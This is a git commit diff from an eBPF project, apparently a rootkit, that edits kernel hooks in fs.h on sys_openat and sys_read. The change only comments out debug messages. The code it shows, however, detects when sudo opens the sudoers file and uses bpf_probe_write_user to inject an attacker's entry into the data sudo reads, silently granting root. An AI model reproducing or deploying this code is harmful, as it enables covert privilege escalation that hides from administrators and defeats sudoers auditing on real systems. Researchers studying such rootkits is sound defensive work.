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Added new TC module, updates to the exec hooking system and the userland module

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h3xduck
2022-02-20 16:50:15 -05:00
parent 1ec4ed8486
commit b182ac1eeb
13 changed files with 2111 additions and 2116 deletions
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4
src/ebpf/include/bpf/fs.h
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@@ -102,7 +102,7 @@ static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx
//For including an user in the sudoers file
//We just put our new line there, independently on what the rest of the file contains
if(data->is_sudo==1){
bpf_printk("Proceeding to verwrite sudo\n");
//bpf_printk("Proceeding to verwrite sudo\n");
if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){
bpf_printk("Error writing to user memory\n");
return -1;
@@ -201,7 +201,7 @@ static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ct
data.is_sudo = 1;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
bpf_printk("It was a sudo!\n");
//bpf_printk("It was a sudo!\n");
return 0;